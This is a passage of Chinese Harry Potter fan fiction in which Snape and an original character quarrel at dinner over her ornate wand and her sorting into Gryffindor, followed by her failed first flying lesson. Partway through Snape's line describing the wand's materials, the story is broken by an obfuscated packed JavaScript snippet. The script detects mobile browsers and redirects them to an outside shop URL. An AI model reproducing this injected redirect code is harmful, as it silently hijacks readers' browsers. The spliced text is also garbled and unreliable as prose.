霍格沃茨礼堂的晚餐时分永远是一天中最热闹的光景,被施了魔法的穹顶倒映着外面渐暗的天空,成千上万支蜡烛悬浮在长桌上空,将整个空间笼罩在一片温暖摇曳的金色光晕里。四个学院的长桌上坐满了穿着校袍的学生,餐盘里堆满了刚刚凭空出现的食物——烤得金黄流油的鸡腿、堆成小山的烤土豆、滋滋作响的牛肉馅饼、冒着热气的蔬菜杂烩,还有那些永远能在你最需要的时候出现在手边的南瓜汁和牛奶。交谈声、餐具碰撞声、偶尔爆发的笑声混杂在一起,汇成一股嗡嗡嗡的声浪,在那些飘浮的蜡烛间回荡穿梭。 斯莱特林长桌靠中间的位置,斯内普正用叉子戳着面前那块焦糖布丁——布丁的表面烤得恰到好处,金黄色的焦糖层用勺子一敲就会碎裂开来,露出底下嫩滑香甜的蛋奶馅。他舀了一勺送进嘴里,目光却若有所思地落在虚空中。 “据说是要从法国那边调一批新的货色过来,”埃弗里压低声音凑过来,苍白的面孔上带着一种隐秘的兴奋,“卢修斯上次来信说,那位大人对英国本土的材料不太满意,觉得品质参差不齐,影响某些……关键实验的稳定性。” 斯内普微微点了点头,又舀了一勺布丁,语气平淡:“他向来挑剔,这倒不意外。不过法国那边的供货商——似乎是那群跟格林德沃有过牵扯的老家伙们在把控,他们肯松口?” “这就是有意思的地方了,”穆尔塞伯从另一边靠过来,声音压得比埃弗里还低,几乎是从齿缝里挤出来的,“据说那位大人亲自去谈的,具体谈了什么没人知道,但结果就是那边同意供货,而且价格比市面低两成。” 斯内普的眉头微微动了动,眼里划过一抹惊讶。他的叉子在布丁上停顿了片刻,然后继续若无其事地切下一块:“价格低两成,那必然有别的条件。” “谁说不是呢,”埃弗里耸了耸肩,“但具体条件是什么,恐怕只有他身边那几个人才知道。我们这种外围的,能听到点风声就不错了。” 斯内普继续吃着那块布丁,没再说什么。他的脑海里却在快速运转着——那些老家伙们能看上眼的筹码,绝不会简单。他想到了几种可能,每一种都让他的眉头皱得更深了一些。 就在这时,他忽然微微停顿了一下,叉子悬在半空中只停留了不到一秒,然后他继续把那勺布丁送进嘴里,若无其事地咽下去,接上了刚才的讨论:“……所以那批货要是真能进来,我们这些熬魔药的倒是能省不少事。他们的火龙血品质确实比本地的稳定。” 在他说话的当口,他的嘴角忽然浮现出一抹转瞬即逝的弧度,坐在他两边的埃弗里和穆尔塞伯都没有注意到。那弧度快得像烛光里掠过的一只飞蛾,随即就被那张惯常阴沉的脸严严实实地收了起来。 她回来了。 他种在她身上的追踪咒显示,她刚刚通过礼堂大门,正往这边走来。而且从接近的速度来看——那步子迈得又快又急,带着一种压抑不住的雀跃——似乎有些迫不及待? 斯内普放下叉子,端起面前的南瓜汁喝了一口,目光若有若无地往斯莱特林长桌末端扫了一眼。 阿斯特丽德背着手,昂首阔步地穿过礼堂中央那条宽敞的过道,弯着眼睛径直走到斯内普身后。她笑眯眯地微微弯下腰——这个动作使得一缕白金色的发丝恰好从斯内普的耳廓边一晃而过,准确无误地垂落在他的肩头,带起一阵淡淡的、混合着月桂叶和青苹果洗发香波的味道。闻着并不浓烈,却在这满是食物香气的空间里显得格外清晰,像是故意要让他注意到似的。 “我必须得说,”带着欢快笑意的熟悉嗓音在他头顶侧上方响起,语调里明明白白地昭示着一股压抑不住的炫耀、嘚瑟和分享的欲望,“今天那十个加隆花得真是物有所值。” 斯内普挑起一边眉毛,放下手中的餐叉,侧过头时目光先是在那缕垂落在他肩头的发丝上短暂地停留了片刻,然后才继续向上,落在那张得意洋洋的脸上。那上面的笑容灿烂得能照亮半个斯莱特林长桌,烟紫色的眼睛弯成两道月牙,整个人浑身上下都散发着一种“快问我快问我”的气息。 “那么,”他慢悠悠地开口,语调是他惯有的拖长了调子的懒散,但内容却难得地配合了她的期待,“我有幸成为第一位瞻仰这根无与伦比、惊艳非凡的魔杖的乡巴佬吗?” 十个加隆?奥利凡德什么时候涨价了?还是说那老头见她是个不懂行的麻瓜,故意坑了她一笔? 阿斯特丽德见他难得这么有闲心地配合自己,脸上的笑容又明朗了几分。她从外套口袋里抽出那根花纹和材质都足够特别的魔杖,横在斯内普眼前。动作之夸张、之炫耀,活像在展示一根刚从巨龙巢穴里偷出来的宝贝。 “看看,”她煞有介事地晃着脑袋,带动着那缕发丝若即若离地触碰着斯内普的耳廓,惹出一连串细微的痒意,“这高贵的气派,这殿堂级的工艺雕刻,这优雅的流线型身材——啧啧啧,我敢打赌,你绝对猜不出它的材质。” 她这一番话和那股喜滋滋的嘚瑟劲儿,成功地吸引了包括穆尔塞伯在内的一小片区域的目光。埃弗里好奇地凑过来,眼睛紧盯着魔杖上那些精细的蛇鳞和羽毛纹路,脸上带着一种不加掩饰的探究。稍远一些的雷古勒斯·布莱克也稍稍伸长脖子往这边打量,目光频频落在那根确实称得上特别的魔杖上——那见鬼的一闪一闪的紫色石头和珍珠链子到底是什么东西?魔杖上挂这些玩意儿,不嫌碍事吗? 另一头的格兰芬多长桌上,詹姆和西里斯也抻长了脖子,使劲往阿斯特丽德手上看。詹姆用叉子戳着一块烤牛肉,嘴里嘀咕着:“嘿,你说她那根魔杖有什么特别的?不就是花纹怪异了点?” 西里斯漫不经心地切着盘子里的牧羊人派,闻言嗤笑一声:“说不定是从哪个地摊上淘来的便宜货,挂几颗假宝石装装样子。麻瓜就喜欢这种花里胡哨的东西。” 莉莉正吃着一块淋了枫糖浆的约克郡布丁,闻言抬眸凉凉地看了詹姆一眼,目光里带着惯常的警告意味:“詹姆,专注你自己的事。别人的魔杖长什么样,跟你有什么关系?” 紧挨着莉莉另一边坐的艾丽斯和玛丽也忍不住小声交流起来。玛丽压低声音说:“所以传闻说杜兰特小姐要留在霍格沃茨上学,是真的?” “应该是真的,”艾丽斯倒是很为阿斯特丽德高兴,脸上带着真诚的笑意,目光往斯莱特林长桌那边瞟了一眼,“哦……她终于拥有了属于自己的魔杖。一会儿我也要去看看,那花纹看起来可真精致。” 斯内普看着眼前那根浅黑褐色、雕刻着蛇鳞和羽毛纹路的魔杖,目光最后落在那串不伦不类的珍珠挂链上——几颗亮闪闪但品相非常一般的、不知道是什么材质的廉价紫色石头正一晃一晃的,跟那缕一直在他耳廓边撩拨的头发一样招摇。 “赌什么?”他微微偏了偏头,终于成功挽救了自己的耳朵,可耳廓上那股若有若无的痒意却好像怎么都挥之不去。 阿斯特丽德来了精神,干脆将魔杖往他手边一拍,动作豪迈:“七个金加隆。” 哦,真是一笔巨款。看来她笃定了自己猜不出来,并且想从他这里把那笔钱捞回来一点。 “不是说花了十个加隆?”他拿起手边的魔杖,开始慢慢端详起来,修长苍白的手指从杖身顶端一路缓缓滑过,感受着木质的纹理和雕刻的深浅。 “嗯,但是市面价都是七个加隆,所以我也不贪你的。” 那几根正在摩挲蛇鳞和羽毛纹路的修长指尖微微一顿。他忍不住用鼻息轻笑了一声——她贪他的还少了?从改良护肤品,到他的魔杖,再到、再到馋他身子。她刚才又那样撩拨他,用头发蹭他的耳朵,那颗塞满黄色废料的脑袋就真的记不住什么叫“安全距离”和他的警告吗? 真是讨厌的、诡计多端的、坏心眼的杜兰特一世。 斯内普愣了一下——他给她加上“一世”干什么? 不,他才不是真的把她那番“寻找男巫延续血脉”的话放在了心上。 绝对没有。 斯内普不知道自己这是怎么了,心里又腾起一股莫名其妙的、烦躁又憋屈的火焰。他将那根魔杖在手里翻来覆去地摩挲了很久,久到穆尔塞伯都忍不住凑过来,也想伸手拿着研究一番。可他的手刚触碰到那串珍珠挂链的边缘,斯内普就微微挪开手,掀起眼皮看了他一眼:“未经允许擅自触碰别人的魔杖,恐怕不太符合体面人的做派。” 穆尔塞伯也知道这不是个体面的做法——更何况他其实也没有很想碰这个麻瓜的东西,只是那花纹确实少见,一时好奇罢了。他悻悻地收回手,坐回原位继续吃他那块已经凉了一半的牛排,耳朵却竖得老高,留意着两人的对话和那个赌约的最终结果。 阿斯特丽德今天心情好,对穆尔塞伯刚才的举动压根没放在心上。她终于直起身子,双手抱胸站在那儿,并不催促斯内普,一副悠然自得等着看结果的架势。 斯内普把那根魔杖抚摸了个遍——知道的人明白他是在凭借手感和魔力探测判断材质,不知道的人看他那专注的侧脸和缓慢摩挲的动作,还指不定以为他在干什么呢。阿斯特丽德在一旁瞧着他那动作,看着看着就觉得有点怪怪的。带羽毛纹路的蛇鳞就那么好摸吗?那要是她的原身在这儿,他是不是得抱着那条又大又粗又长的尾巴盘上一整晚啊?那不得把她摸得浑身发热、从脸颊一直红到尾巴尖? 噫——她已经觉得有点发热了。 “你摸完了没有?”她忍不住直白地问出口,语气里带着连她自己都没意识到的微妙情绪。 斯内普的动作顿了一顿——似乎被她的用词触动了哪根不对劲的神经。他抬手把魔杖递还给她,语调没什么起伏地开口:“金合欢木,夜骐尾毛,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334601|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及一串——”他的语气终于带上了今晚面对她时的第一次讽刺,足够让她明白自己那点审美在他眼里是个什么水平,“品相相当可疑的廉价紫色透明石头,以及与魔杖本身毫无关联、纯粹是为了满足某种特殊审美癖好而挂上去的珍珠链子。我必须得说,如果你是想用这串玩意儿来彰显什么‘殿堂级工艺’和‘高贵气派’,那么它的实际效果可能跟你预期的有些出入——大概相当于在一件做工精良的长袍上缝了几颗从圣诞爆竹里拆出来的装饰品。” 阿斯特丽德没想到他居然真的能猜中,她惊讶之余狠狠心痛起自己所剩不多的那几个加隆,脸上原本灿烂的笑容瞬间垮了下来,嘴巴嘟得老高。她摸着那串被讽刺得体无完肤的装饰物,没好气地嘀咕着:“一点都不懂审美和情趣的直男!” 她掉头就走,背影里满满都是“我不跟你玩了”的赌气意味。 斯内普慢悠悠的声音在她身后响起,依旧懒洋洋的:“去哪儿?该不会是玩不起要赖账吧?连晚饭都不吃了?” 他看似随意地推了一个餐盘到桌边——盘子里整整齐齐地码着她爱吃的几样东西:烤得金黄的鸡腿、浇了肉汁的土豆泥、还有一小块浆果馅饼。那是他以为她会晚到而特意给她留的晚餐,毕竟今天是她在霍格沃茨正式入学的第一天,也是她第一次跟他一起坐在这张长桌上吃饭——虽然她自己可能还没意识到这一点。 阿斯特丽德慢吞吞地转回身,目光落在那盘明显是精心拣选过的食物上——鸡腿是她喜欢的部位,土豆泥是她喜欢的浇法,馅饼也是她喜欢的口味。她的面色变得有些古怪起来,像是在努力憋着什么,又像是在犹豫该不该把那颗重磅炸弹扔出来。 她站在那儿没动,酝酿了好一会儿才严肃地开口,语气认真得像在宣读重要声明:“事实上,我今后这七年都会是一个格兰芬多了。” 她说得严谨——显然还惦记着毕业后就把校服改款那件事。 斯内普的表情以一个缓慢的、层层递进的过程凝固了——先是他的眉毛以一种极其缓慢的速度抬了起来,抬到了一个足以表达“我是不是听错了”的高度;然后他的眼睛微微眯起,开始聚集某种危险的暗流;再然后他的嘴角抽动了一下,像是某种被强行压制的本能反应;最后他的整个面部表情定格在一种极度复杂的混合状态里,包含了震惊、荒谬、难以置信,以及“你他妈在逗我”的强烈质疑。 阿斯特丽德这才缓缓解下那条一直围得严严实实的纯黑色大围巾,露出底下的金红色领带以及狮院徽章。 他的目光从她脸上缓缓移向她校服领口那条金红色的领带——那条领带此刻正以一种极其刺眼的方式宣告着她所属的阵营。他的视线在那抹金红色上停留了足足五秒,然后才重新移回她的脸上,那双眼睛里明明白白地写着:你是在告诉我,你要在那个满是自大狂、蠢货和自以为是的巨怪的地方,待上整整七年? 沉默蔓延了几秒。 斯内普终于再次开口,声音平静得近乎可怕:“让我确认一下我有没有理解错误——你,一个被分院帽和校长共同认证过的、彻头彻尾的斯莱特林,一个能面不改色地分析纯血家族黑料、能让血人巴罗主动行礼的人,现在告诉我,你要在格兰芬多待七年?” “在满是那种把巨怪当宠物、把鲁莽当勇敢、把大脑当摆设的生物的地方?”他的语气更慢了几分,内容却越来越刻薄:“所以接下来的七年,我要每天看着你穿着那身碍眼的颜色,坐在那群恨不得把我变成癞蛤蟆的人中间,跟他们一起吃饭、一起上课、一起——谁知道还会一起干什么?你该不会还要告诉我,你打算跟他们交朋友,一起去参加格兰芬多的午夜茶话会,交流怎么把斯莱特林的某个倒霉蛋变成一滩烂泥的心得体会吧?” 他的目光扫过格兰芬多长桌上那几个正往这边探头探脑的身影——詹姆·波特、西里斯·布莱克,还有那几个跟着起哄的跟班——然后重新落回她脸上,那双黑沉沉的眼睛里带着一种近乎控诉的情绪。 “你知道那是什么地方吗?”他的声音压得更低了一些,阴沉沉的:“那是波特和布莱克的地盘,是那群人每天琢磨着怎么给我找麻烦的地方。你——我认识了八年,一起挨过饿、一起做过生意、一起对付过那群蠢货的人——现在告诉我,你要去跟他们坐在一起?” 明明他才是她的同桌。 他终于停下来,就那样看着她。烛光在他脸上投下明暗交错的光影,漆黑幽暗的眼睛里翻涌着愤怒、荒谬、还有一丝被他掩饰得很好、但依然能隐约捕捉到的近乎受伤的东西。 之后,那副表情渐渐流露出难以言喻的讽刺——既是对她的,也是对他自己的。 “我得说,杜兰特一世,”他最后开口,声音恢复冷淡,“你确实给了我一个难忘的夜晚——一个足够让我对格兰芬多的厌恶再创新高的夜晚。” 32. 很双标嘛,小伙子 29. 阿斯特丽德呆呆地站在那儿,愣愣地看着他转过身去,留给她一个紧绷的背影——脊背上的每一块肌肉都僵硬着,无声地宣告着他此刻的心情状态。那盘特意拣选过的食物就放在他手边,暖黄的烛光落在那些精心码放的鸡腿、土豆泥和馅饼上,却好像有一道无形的分界线,将他和那盘食物分隔在两个完全不同的空间里,仿佛那些食物此刻的存在本身就成了某种讽刺。 另一边的格兰芬多长桌上,詹姆等人原本都被阿斯特丽德身上那抹可疑的金红色震惊得当场失语——刚喝了一大口南瓜汁的西里斯差点把那口液体全喷出来,幸好他眼疾手快地捂住了嘴,却还是被呛得剧烈咳嗽起来,惹得周围几个人纷纷侧目。就连替阿斯特丽德高兴的艾丽斯都惊诧地盯着她的背影,眼睛里写满了困惑。直到斯内普转过身去,艾丽斯才扭头看向莉莉,压低声音问:“他们说了什么?你能解读唇语吗?” 莉莉收回落在那两人身上的复杂目光,轻轻摇了摇头:“不能。但是……”她又抬眸看了斯内普的背影一眼,他此刻正以一种极其僵硬的姿态坐在那里,仿佛连呼吸都在跟谁赌气,“西弗勒斯生气了。” 是的,他生气了,还气得不轻。 这谁都能看出来——紧绷的肩线,僵直的脊背,握着餐叉却一口都没再吃的僵硬手势,还有那周身散发出来的、比平时还要阴沉几分的低气压,简直像一团有形的乌云笼罩在斯莱特林长桌的这一角。阿斯特丽德自然也能看出来,而且她看得比任何人都清楚。 她睁大眼睛盯着那黑漆漆的阴沉背影,脑子里飞速运转着该怎么吐槽眼前这荒诞的一幕。她原本以为他顶多就是阴阳怪气地嘲讽她一通,再刺她几天,这事儿就算是翻篇了——毕竟她只是被分到格兰芬多了,又不是被分去阿兹卡班吃牢饭,他至于这么生气吗? 这好像,还是她第一次见到他真的生气? 原来这个苦哈哈的小可怜还能这样呢?那张脸上居然还能浮现出这么丰富的情绪,真是百变小斯。 阿斯特丽德抿着唇瞪着他的背影,毫不在意身后格兰芬多长桌上投来的那些八卦目光——她能感觉到詹姆和西里斯正在那边交头接耳,也能感觉到艾丽斯和玛丽时不时往这边瞟的眼神。她也无视了身前斯莱特林长桌上那些若有若无的探究视线——穆尔塞伯和埃弗里虽然假装在吃晚餐,但那竖起的耳朵分明在捕捉这边的每一丝动静。她就那么盯着眼前这个紧绷着的、仿佛随时会崩断的背影,片刻之后,她走过去,停在他身后。 然后她再次弯下腰,从他头顶侧上方观察他的表情——哦,面无表情,除了恨不得把她当作牛肉咬得稀巴烂。 她凑近他耳边,压低声音,温热潮湿的吐息准确无误地落在他耳廓上:“我这是被选调了,但又不影响咱俩的关系。” 斯内普咀嚼的动作顿了一下——他正在嚼那块被戳得够呛的牛肉,咀嚼的速度原本带着一股发泄式的狠劲,此刻却像是被按下了暂停键。他冷冰冰地想要开口讽刺,可那块牛肉占据了他的口腔,而且那股混合着月桂叶和青苹果香波的味道已经不由分说地钻入了他的鼻腔,连同耳畔那些微热潮湿的气息一起,霸道地控制了他大脑的某一部分——他想说什么来着? 阿斯特丽德一看他预备张口,光凭他那微微抿起的嘴角和收紧的下颌线条,就能猜到他大概想喷什么类型的毒液——无非是“我跟你没什么关系”或者“你待在哪跟我有什么关系”之类的标准讽刺。她赶在他把牛肉咽下去之前,继续凑在他耳边压低声音,像是用悄悄话哄一个闹别扭的小朋友:“别急着反驳——你刚才自己也说了,咱俩一起挨过饿,一起合作A.S品牌,还一起揍过蠢货。而且你是我同桌,我是你家属。就凭以上这些,你在我心里当然排NO.1。”她笑眯眯地说着,语气十足耐心,“区区一个分院,不能把咱俩分开。” 斯内普咀嚼的速度放慢了几分。 他想说——他跟她又没在一起,什么分不分开的?她就是故意把话说得这么暧昧,这么容易让人误会。那张嘴里说出来的话,十个字里有八个字都藏着不可告人的小心思。但是他也没有躲开,没有像刚才那样往旁边挪一挪,把她那些撩拨的气息隔绝在安全距离之外。他就那么坐在那里,打算再听听她还能说出些什么“受用”的话来。 “我心里是怎么想的,你难道还不清楚吗?”阿斯特丽德的声音继续在他耳边响起,带着促狭的笑意,温热潮湿的气息随着每一个字落在他耳廓上,“就算我待在格兰芬多,也不能净化我脑子里的黄色废料啊。你放心,我还是惦记你的。” 话音落下,她刻意在他耳边呵了一口气。 然后她看到那只耳朵——那只刚才被她用发丝蹭过、被她用气息撩拨过的耳朵,敏感地动了动,像一只被惊扰的猫本能地抖动耳朵。 斯内普终于扭头看她了。 那双黑沉沉的眼睛对上她的视线,里面翻涌着恼怒,窘迫。他声音低沉地再次开口:“能被一颗塞满黄色废料的脑袋惦记,还真是我的荣幸。”他的眼睛微微眯起,语调里却藏着一丝微妙的变化,“不过我得说,格兰芬多大概还不知道他们即将迎来一位什么样的新成员——如果他们有自知之明,现在就该开始为接下来的七年捏一把汗了。毕竟,被一个满脑子这种念头的人混进公共休息室,谁知道会发生什么?” 他的目光在她脸上停留了片刻,然后又补了一句,每一个音节都像是精心雕琢过的讽刺艺术品:“另外,我得恭喜你终于有了自知之明——能承认自己满脑子黄色废料,这确实需要一定的勇气。虽然我怀疑这份勇气来得太晚,晚到已经无法挽救你在我心目中的形象——不过既然你自己都承认了,那我也不必再费心替你遮掩。” 他说完,终于把目光从她脸上移开,重新落回面前那盘已经凉透的晚餐上。但他的耳朵——那只刚才被她呵过气的耳朵——还微微泛着一层若有若无的薄红,在烛光下若隐若现。 阿斯特丽德站在原地,目光在那抹若有若无的薄红上流连了好一会儿,心里再次感叹眼前这个人的纯情与他那阴沉沉的外表是多么地不相符——谁能想到呢,一个能用最刻薄的语言把人刺得体无完肤的家伙,耳朵却会因为几句话就泛起这样诱人的粉色,让人忍不住想捏一捏,或者……咬一口。 跑偏了……阿斯特丽德清了清嗓子,努力把那些不宜描述的画面从脑海里赶出去,然后用一种尽量正经的语气开口:“当初莉莉被分去格兰芬多的时候,你也这样摆着个臭脸凶她一通?” 如果没有,那他就是双标! 没有回应。 沉默,本身就是一个答案。 阿斯特丽德发现他愣了一下,然后极不自在地把脸往另一个方向更偏了偏,动作快得像是想把自己的表情藏起来不让她看见。 被戳中了,做贼心虚。 “哼,我就知道。”阿斯特丽德撂下这句话,伸手端起他旁边那盘精心拣选过的食物,转身就离开了斯莱特林长桌。 斯内普的眼神微微往那片刚才放着盘子的桌面上瞟了一眼,目光快得像只是无意间扫过。随即他就收回视线,继续低头吃他那块已经被戳得不成样子的牛肉。 是啊,他当初是怎么对莉莉的? 没有指责,没有埋怨,只有失落和遗憾。那他刚才为什么这么生气?为什么感觉到了一种近乎被背叛的情绪? 荒谬。 她跟莉莉当然不一样——她这样的、这样的怪丫头,要是不在他身边被看着,还不知道能惹出多少事来。那些禁林深处的奇怪声音,那些对纯血家族历史的刨根问底,那些随时可能把她自己炸进医院的古怪尝试,还有那些……那些满 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阿斯特丽德简直像是找到了知己一般,立刻眉飞色舞地向她介绍起自己的设计理念来,语气里带着一种“终于有人懂我了”的激动:“哪个女孩子不爱这些亮闪闪的装饰物呢?你是不知道,有很多麻瓜女孩就很喜欢给自己的背包和文具上添加各种各样的小物件——可爱的,高雅的,精致的,随你喜欢。多有个人风格,多鲜活啊!” 艾丽斯似乎被她说动了,那双眼睛里的欣赏又浓了几分。而坐在旁边的莉莉和玛丽本身就是麻瓜出身,听到这番话也自然而然地加入了讨论。莉莉放下手里的南瓜汁,若有所思地说:“你这么一说我倒是想起来了,暑假回家的时候,我还看见佩妮给自己的书包拉链上挂了一只小熊——毛茸茸的那种,还穿着毛线衣服。”她的语气里充满复杂的怀念,随即又摇了摇头,“虽然她现在已经不让我碰她的东西了。” 玛丽也凑过来:“我妈妈去年给我织毛衣的时候,还在领口绣了一只猫头鹰——虽然绣得不太像,但那可是她的一片心意。” 话题就这样自然而然地展开了。阿斯特丽德一边解决着那盘从斯内普那儿端来的食物——鸡腿还温热,土豆泥绵软香甜,馅饼的酥皮在嘴里碎成小小的颗粒,一尝就知道是施过保温咒——一边加入她们的交流,偶尔插几句自己在蜘蛛尾巷时给那些瓶瓶罐罐设计包装的趣事。 聊着聊着,艾丽斯忽然正色起来,用她那双温柔的眼睛认真地看着阿斯特丽德:“如果你之后遇到任何困难,都可以来找我——我是说任何困难。作为级长,帮助新同学是我的职责,但更重要的是,我很乐意帮你。”她微笑着,温和地补充:“希望你在霍格沃茨度过愉快的学业生涯,杜兰特。” “哦,你真的太好了,艾丽斯。”阿斯特丽德被这份真诚打动,索性挽住她的胳膊,笑嘻嘻地把脑袋往她肩膀上蹭了蹭。 艾丽斯被她蹭得有些不好意思,但还是笑着任她腻歪了一会儿。等阿斯特丽德终于消停下来,艾丽斯才问出那个压在大家心头的困惑:“不过说真的,我们都以为你会被分去斯莱特林——最起码,不是格兰芬多。你是怎么做到的?” 阿斯特丽德煞有介事地坐直身子,清了清嗓子,用一种宣布重大秘密般的口吻:“估计是因为校长先生发现了我深藏的勇气——那种敢于面对一切艰难险阻的、格兰芬多式的勇气。”她用下巴朝着斯莱特林长桌那边示意了一下,那方向正是某个黑漆漆的身影所在的位置,“你们刚才没看见吗?那个阴沉沉的家伙都那样生气了,我还敢往上凑——这就是无与伦比的勇气,一般人可做不到。” 艾丽斯沉默了片刻。 莉莉沉默了片刻。 玛丽也沉默了片刻。 然后三个人不约而同地露出了“就不该认真问这个问题”的表情。 33. 从emo倒爆发 30. 不得不说,艾丽斯不仅是一位极有责任感的级长,更是一位武力值出众的女战士——她揍人和救人都是把好手,那些在危急时刻能派上用场的实用魔法,她几乎信手拈来,挥动魔杖的姿态干净利落,带着一种与生俱来的战斗本能。阿斯特丽德对此很羡慕,很眼馋,每次看到艾丽斯示范那些高级魔法时,眼神都闪亮亮的,可轮到她自己上手练习时,那点可怜兮兮的魔力就像是被施了石化咒一般,任凭她怎么努力都纹丝不动。 于是她干脆放弃了那些暂时学不来的东西,转而把心思花在了另一件她擅长的事情上——她的药妆品牌改良。 什么闪亮咒、固色咒、增香持久咒,她捣鼓得可开心了,每天抱着那些瓶瓶罐罐在公共休息室里念念有词,惹得周围的人都好奇地凑过来看。她甚至把一年级生入门学习的漂浮咒改了改,用在了新系列的抗皱眼霜里——当她打开那个设计精巧的广口瓶,向艾丽斯等人介绍新品时,语气很是得意:“当你打开盖子,就会发现这颗特制的小胶囊悬浮在膏体上方——它会在你沾取眼霜的同时,滴落一滴抗皱精华魔药,然后你就可以混合使用了。”她说着还特意示范了一遍,那颗小小的胶囊果然听话地悬在那儿,慢悠悠地转着圈,“这样既解决了某些成分长期混合后持效不久的问题,也可以根据使用者自己的需求调整抗皱力度,还可以同时释放漂浮咒的效力——作为面部提拉。当然了,还很有趣,不是吗?瞧这小胶囊多可爱。” 她将新品分发给艾丽斯、莉莉和玛丽三人,眼里满是期待,郑重其事地叮嘱她们做好每日记录反馈——用了什么感觉,皮肤有什么变化,香味持不持久,统统要记下来。等三人应下后,她才心满意足地背起书包,往操场的方向走去。 是的,她不跟她们一起上课,因为她现在是一年级。 一个魔力微弱的、十六岁的一年级生。 今天的飞行课是格兰芬多和斯莱特林一起上的,阿斯特丽德慢吞吞地走到操场上,站在那一排小豆丁末尾,有些尴尬地摸了摸鼻子。那些十一岁的小鬼头们纷纷扭过头来打量她,窃窃私语声像一群蜜蜂似的嗡嗡响起——那个高个子是谁?她怎么这么大还跟我们一个班?她是不是留级了?阿斯特丽德凶巴巴地瞪了几个过于放肆的小脑袋,目光里的杀气成功让那几个小鬼缩回了脖子,然后她眼观鼻鼻观心,在心里默默叹了口气。 啧,自己真是霍格沃茨一道靓丽又尴尬的风景线。 而当她站在操场上,听霍琦夫人讲解如何驾驭扫帚的基本要领时,城堡二楼某个教室窗边,有一道目光正穿过玻璃落在她身上。 宾斯教授的魔法史课一如既往地枯燥乏味,他那单调的嗓音像一台老旧的留声机,不紧不慢地往外吐着那些几百年前的人名和地名。周围的同学们有的趴在桌上睡觉,有的在羊皮纸上涂鸦,还有勤奋的在偷偷补其他科目的作业。唯独斯内普一直坐得笔直,眼睛微垂着,看似落在面前的课本上,实则是穿过那扇窗户,落在草地上那个高出同学半个身子的突兀身影上。 那画面有些好笑。 而更好笑的是,她是里面最没天赋的那一个。 别的小鬼头们一个个都或高或低地飞上了天——有几个天赋好的已经能在操场上空绕圈了,最差的那个也能骑着扫帚双脚微微离地,晃晃悠悠地飘上几秒。只有她,还在那儿对着地上那把毫无反应的扫帚“up,up”个没完。斯内普看着她不断开合的嘴,觉得她像一只翘着手的鸭子,坚持不懈地在那儿嘎嘎嘎,却没有任何一只同类搭理她。 终于,她耐心耗尽了。 通过她那张脸上逐渐狰狞的表情以及不断翕动的嘴唇,斯内普认为自己此刻正精准地解读着她的唇语——“U——P!我特么让你UP你听不懂吗?”她怒视着那把滚了半圈就懒洋洋躺在地上不动的扫帚,嘴唇又动了动,根据口型判断,她接下来的话大概是:“请问您是不举吗?” 斯内普抬起手,轻轻抚了抚额头,然后收回目光重新落在桌上摊开的魔法史上。他就知道,她那张嘴里吐不出什么好话。 下课铃声响起时,两股人流终于在楼梯上交汇了——一边是往楼上去的格兰芬多和斯莱特林一年级生,一边是往楼下去的六年级生们。阿斯特丽德臭着一张脸,抬起眼皮扫了一眼正从楼梯上下来的某个熟悉身影,语气里带着一股破罐子破摔的丧气:“干嘛?” 他这段时间阴阳怪气得变本加厉,尤其是当她看不懂他的某些笔记、跑去斯莱特林公共休息室或者他熬魔药的空教室向他求教时,他总要先嘲弄她一番——嘲讽的刻薄程度足以让她怀疑自己是不是得罪了他八辈祖宗——然后才会详细地解释给她听。拜他所赐,他们这几天都没有一起吃过饭,也没有一起自习过。她才不要跟一个嘴毒又有实力嘴毒的高年级第一名一起写作业,她急需一个心理委员来安慰自己受伤的心灵。 人大概就是这样——当她是麻瓜而他是另一个世界的巫师时,她会为他保持优异的成绩而骄傲,因为她在麻瓜学校也足够优秀,他们在各自的领域里“闪闪发光”。可当她成为同校生后,哪怕不同级,但作为同龄人,与他拉开如此巨大的差距,她心里当然不痛快。尤其是当你深知那鸿沟受限于客观条件、不可逾越的时候。 斯内普的脚步停顿下来。他站在比她高两级台阶的位置,垂眸俯视着她。那张脸此刻面无表情,但他分明已经准备好了一肚子刻薄的讽刺——今天这一幕实在是绝佳的素材,足够他阴阳怪气地说上三分钟不停歇。他嘴唇微微动了动,那些话已经到了嘴边,只差一个出口的机会。 可他看到了她垂着的眼,看到了她脸上的丧气,看到了她整个人蔫巴巴的模样。 那些话忽然就说不出口了。 “……那不是你的问题。”他声音低沉的开口,语气稍微有点生硬,“刚接触飞天扫帚的人,十有八九都是这样。过几天就好了。” 阿斯特丽德再次掀起眼皮看了他一眼,眼里闪过一丝意外——他没有讥讽她,甚至还安慰她? 小心眼的巫师大人终于决定原谅麻瓜的“背叛”了吗? 但她心情并没有因此好到哪里去,因为她心里清楚得很,自己跟那些正常小巫师不一样。他们随着训练和成长发育,魔力会不断提高,可她是陨落过的人,后来那些力量也只是残余的、不可再生的。当她参加大战又强行逆转时空消耗了那些力量之后,现在她体内的魔力就只有那么点,不会随着她成长就变多,她只能勉强维持个不再减少,就已经很不错了。 斯内普蹙眉看着她的表情——那张脸没有因为他的话而明亮起来,反而更加阴郁了。他抿着唇看了她一会儿,最后只是微微颔首,然后侧身经过她,继续往楼下走。他还要赶着去上魔药课,教授们对迟到这件事可没什么耐心。 可一整堂魔药课上,斯内普的心绪都没怎么放在眼前那些正在熬煮的药剂上。 他一边烂熟于心地把月长石粉和嚏根草精华按顺序加入坩埚,一边用魔杖精准地控制着火候,同时脑海里却在反复回放刚才楼梯上那一幕——她那垂头丧气的样子,整个人蔫成一团的模样。那不像她,完全不像她。 一堂飞行课的打击而已,或者说学习进度过慢而已,怎么能让她垂头丧气成那样?她研究她那些改良小魔法不是挺起劲的吗?那些什么闪亮咒、固色咒、漂浮咒改抗皱眼霜,她捣鼓得不亦乐乎。怎么学习上遇到点困难和阻滞,就消沉成这样? 此外,他也确实很奇怪她那点魔力究竟是怎么来的。 